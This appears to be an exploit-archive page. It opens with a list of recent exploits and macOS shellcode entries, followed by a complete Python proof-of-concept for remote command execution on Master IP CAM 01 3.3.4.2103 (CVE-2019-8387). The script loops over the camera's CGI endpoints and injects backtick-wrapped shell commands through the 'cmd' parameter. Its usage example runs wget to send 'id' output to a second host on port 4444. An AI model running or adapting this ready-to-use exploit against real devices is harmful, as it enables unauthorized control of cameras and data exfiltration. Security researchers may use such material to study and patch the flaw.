
25 changes to exploits/shellcodes Realterm Serial Terminal 2.0.0.70 - Denial of Service Realterm Serial Terminal 2.0.0.70 - Local Buffer Overflow (SEH) NBMonitor 1.6.5.0 - 'Key' Denial of Service (PoC) Oracle Java Runtime Environment - Heap Out-of-Bounds Read During OTF Font Rendering in glyph_CloseContour Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in OpenTypeLayoutEngine::adjustGlyphPositions Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in ExtractBitMap_blocClass Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in AlternateSubstitutionSubtable::process mIRC < 7.55 - Remote Command Execution Using Argument Injection Through Custom URI Protocol Handlers qdPM 9.1 - 'type' Cross-Site Scripting qdPM 9.1 - 'search[keywords]' Cross-Site Scripting Master IP CAM 01 3.3.4.2103 - Remote Command Execution MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module CMSsite 1.0 - 'post' SQL Injection M/Monit 3.7.2 - Privilege Escalation Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload Apache CouchDB 2.3.0 - Cross-Site Scripting ArangoDB Community Edition 3.4.2-1 - Cross-Site Scripting Comodo Dome Firewall 2.7.0 - Cross-Site Scripting Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload WordPress Plugin WooCommerce - GloBee (cryptocurrency) Payment Gateway 1.1.1 - Payment Bypass / Unauthorized Order Status Spoofing macOS - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (119 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (129 bytes) macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes) macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)
52 lines
No EOL
1.2 KiB
Python
Executable file
52 lines
No EOL
1.2 KiB
Python
Executable file
# Exploit Title: Master IP CAM 01 Remote Command Execution
|
|
# Date: 09-02-2019
|
|
# Remote: Yes
|
|
# Exploit Authors: Raffaele Sabato
|
|
# Contact: https://twitter.com/syrion89
|
|
# Vendor: Master IP CAM
|
|
# Version: 3.3.4.2103
|
|
# CVE: CVE-2019-8387
|
|
|
|
import sys
|
|
import requests
|
|
|
|
|
|
if len(sys.argv) < 3:
|
|
print "[-] Usage: python MasterIpCamRCE.py <ip> <cmd>"
|
|
print "[-] Example: python MasterIpCamRCE.py 192.168.1.54 'wget http://192.168.1.55:4444/$(id)'"
|
|
exit(1)
|
|
|
|
host = sys.argv[1]
|
|
command = sys.argv[2]
|
|
page = [
|
|
"bconf.cgi",
|
|
"ddns_start.cgi",
|
|
"getddnsattr.cgi",
|
|
"getinetattr.cgi",
|
|
"getnettype.cgi",
|
|
"getupnp.cgi",
|
|
"getwifiattr.cgi",
|
|
"getwifistatus.cgi",
|
|
"inetconfig.cgi",
|
|
"iptest.cgi",
|
|
"listwifiap.cgi",
|
|
"p2p.cgi",
|
|
"paraconf.cgi",
|
|
"scanwifi.cgi",
|
|
"setadslattr.cgi",
|
|
"setddnsattr.cgi",
|
|
"setinetattr.cgi",
|
|
"setwifiattr.cgi",
|
|
"upnp_start.cgi",
|
|
"wifimode.cgi",
|
|
"wifitest.cgi",
|
|
]
|
|
for x in page:
|
|
url = "http://"+host+"/cgi-bin/"+x+"?cmd=`"+command+"`"
|
|
#url = "http://"+host+"/cgi-bin/"+x+"?action=`"+command+"`"
|
|
print "[*] Attack on "+x
|
|
print "[+] Sending the payload"
|
|
r = requests.get(url)
|
|
if r.status_code == 200:
|
|
print "[+] Exploit Success"
|
|
break |